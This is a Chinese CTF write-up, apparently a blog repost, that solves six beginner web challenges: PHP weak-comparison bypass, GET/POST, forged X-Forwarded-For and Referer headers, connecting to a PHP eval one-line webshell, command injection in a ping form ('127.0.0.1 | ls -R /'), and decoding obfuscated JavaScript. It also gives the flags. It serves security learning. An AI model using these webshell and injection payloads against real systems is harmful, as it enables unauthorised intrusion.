IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 攻防世界 WEB 新手练习区 writeup 007-012 -> 正文阅读

[PHP知识库]攻防世界 WEB 新手练习区 writeup 007-012

007 simple_php

在这里插入图片描述

难度系数:1.0
题目来源: Cyberpeace-n3k0
题目描述: 小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

0x01 打开网页 有一段PHP源代码

在这里插入图片描述

0x02 进行代码审计

<?php
show_source(__FILE__);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
    echo $flag1;
}
if(is_numeric($b)){
    exit();
}
if($b>1234){
    echo $flag2;
}
?>

首先使用GET方法接收两个变量a和b,之后进行条件判断

判断1:if($a==0 and $a),这里要保证a==0且a为真
由于PHP中的==是弱类型比较,即如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,由此我们可以令a=0a(后接任意字符或字符串均可)

判断2:if(is_numeric($b)),我们要令这句话不成立,否则会退出当前脚本,无法打印后续flag,和判断1相类似,只要b不是纯数字即可

Tips:is_numeric() 函数用于检测变量是否为数字或数字字符串

判断3:if($b>1234),b要大于1234,结合判断2,b不能是纯数字,因此可令b=1235a(后接任意字符或字符串均可)

0x03 构造并上传payload

根据以上分析,我们可以得到payload:a=0a&b=1235a
最终上传:111.200.241.244:62363?a=0a&b=1235a

在这里插入图片描述

0x04 得到flag: Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}


008 get_post

在这里插入图片描述

难度系数:2.0
题目来源: Cyberpeace-n3k0
题目描述: X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

Tips:关于GET和POST方法,在我的另一篇文章中有介绍:
浅谈HTTP中GET、POST用法以及它们的区别

0x01 打开网页,查看题目要求

在这里插入图片描述

页面中显示:请用GET方式提交一个名为a,值为1的变量

0x02 使用GET方法提交变量 a=1

111.200.241.244:53968?a=1
在这里插入图片描述

题目出现了新的要求:请再以POST方式随便提交一个名为b,值为2的变量

0x03 使用POST方法提交变量 b=2

方法1:使用Firefox浏览器的一个插件Hackbar

在这里插入图片描述在这里插入图片描述

方法2:使用命令行工具curl

在这里插入图片描述

0x04 得到flag: cyberpeace{b2d2655c8d2c8ff9f58ecc45672bb839}


009 xff_referer

在这里插入图片描述

难度系数:2.0
题目来源: Cyberpeace-n3k0
题目描述: X老师告诉小宁其实xff和referer是可以伪造的。

关于xff(X-Forwarded-For)和referer的介绍:

维基百科中对于xff的解释如下:
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

xff是http的一个拓展头部,其作用是使Web服务区获取访问用户的真实ip地址(可伪造)。一般来说,当用户通过代理服务器进行连接时,服务器只能获取代理服务器的ip地址。借助xff,服务器不仅能记录代理服务器的地址,还可以获知用户的ip地址。

该HTTP头的一般格式如下:

`X-Forwarded-For: client1, proxy1, proxy2 `

维基百科中对于referer的解释如下:
HTTP来源地址(referer,或HTTP referer)是HTTP表头的一个字段,用来表示从哪儿链接到目前的网页,采用的格式是URL。换句话说,借着HTTP来源地址,目前的网页可以检查访客从哪里而来,这也常被用来对付伪造的跨网站请求。

referer也是http的拓展头部,作用是记录当前请求页面的来源页面的地址。服务器使用referer确认访问来源,如果referer内容不符合要求,服务器可以拦截或者重定向请求。

xff和referer均可伪造是解答本题的关键

0x01 打开网页,查看页面内容

在这里插入图片描述

页面中提示:ip地址必须为123.123.123.123

0x02 进行xff伪造

使用Firefox浏览器插件X-Forwarded-For Header
修改X-Forwarded-For为:123.123.123.123

在这里插入图片描述
在这里插入图片描述

伪造xff成功后,页面中显示:必须来自https://www.google.com

0x03 进行referer伪造

使用Firefox浏览器插件Max HackBar
修改Referer为https://www.google.com

在这里插入图片描述

0x04 得到flag: cyberpeace{e31811b532a28525a98f4b9f0abf1d45}


010 webshell

在这里插入图片描述

难度系数:2.0
题目来源: Cyberpeace-n3k0
题目描述: 小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。

0x01 打开网页

在这里插入图片描述

页面中显示:
你会使用webshell吗?

<?php @eval($_POST['shell']);?>

结合题目描述,小宁上传了一个最简单的一句话木马,我们只需要远程连接就可以获取webshell

0x02 使用AntSword(中国剑蚁)进行远程连接

注意:URL地址一定要填写到木马所在的文件
连接密码就是POST变量里的shell

在这里插入图片描述

0x03 连接成功后,查找flag

在这里插入图片描述在这里插入图片描述

0x04 得到flag: cyberpeace{9a38cdc63309a1c4fc8f1c7aa9037bb8}


011 command_execution

在这里插入图片描述

难度系数:2.0
题目来源: Cyberpeace-n3k0
题目描述: 小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

0x01 打开网页

在这里插入图片描述

页面中有一个ping的功能界面

0x02 尝试绕过,查询文件

根据题目描述,该网站没有waf

我们可以考虑先写入一个IP地址,然后通过`| & ;`等符号进行拼接或者分隔,再接上`ls cat`等Linux命令,从而找到flag

0x03 使用ls命令查询

这里我们构造了这样一条查询语句:
127.0.0.1 | ls -R /
127.0.0.1是本地的ip地址,ls命令后的-R /参数可以查询所有文件及其所在目录

在这里插入图片描述

查询过后显示了很多文件,可以再页面中按Ctrl + F,寻找带有flag的文件名

在这里插入图片描述

找到了flag.txt文件,而且可以得知该文件在home文件夹下

0x04 使用cat语句查看flag.txt文件内容

cat /home/flag.txt

在这里插入图片描述

0x05 得到flag: cyberpeace{344e8a5c47a0a6a6edcaa12a6c056c20}


012 simple_js

在这里插入图片描述

难度系数:3.0
题目来源: root-me
题目描述: 小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

0x01 打开网页 提示我们输入密码

在这里插入图片描述

0x02 按Ctrl + U查看页面源代码

在这里插入图片描述

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

    h = window.prompt('Enter password');
    alert( dechiffre(h) );

</script>
</head>

</html>

无论输入什么,dechiffre()函数的返回值都是p,所以该函数是无效的

真正的密码应该存在于
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

0x03 编写python脚本,获取真正的密码

string = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
list = string.split(",")
print(list)

password = ""

for i in list:
    i = chr(int(i))
    password += i

print(password)

在这里插入图片描述

密码即为flag

0x04 得到flag: Cyberpeace{786OsErtk12}


  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-03 11:40:27  更:2021-09-03 11:42:03 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:07:36-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码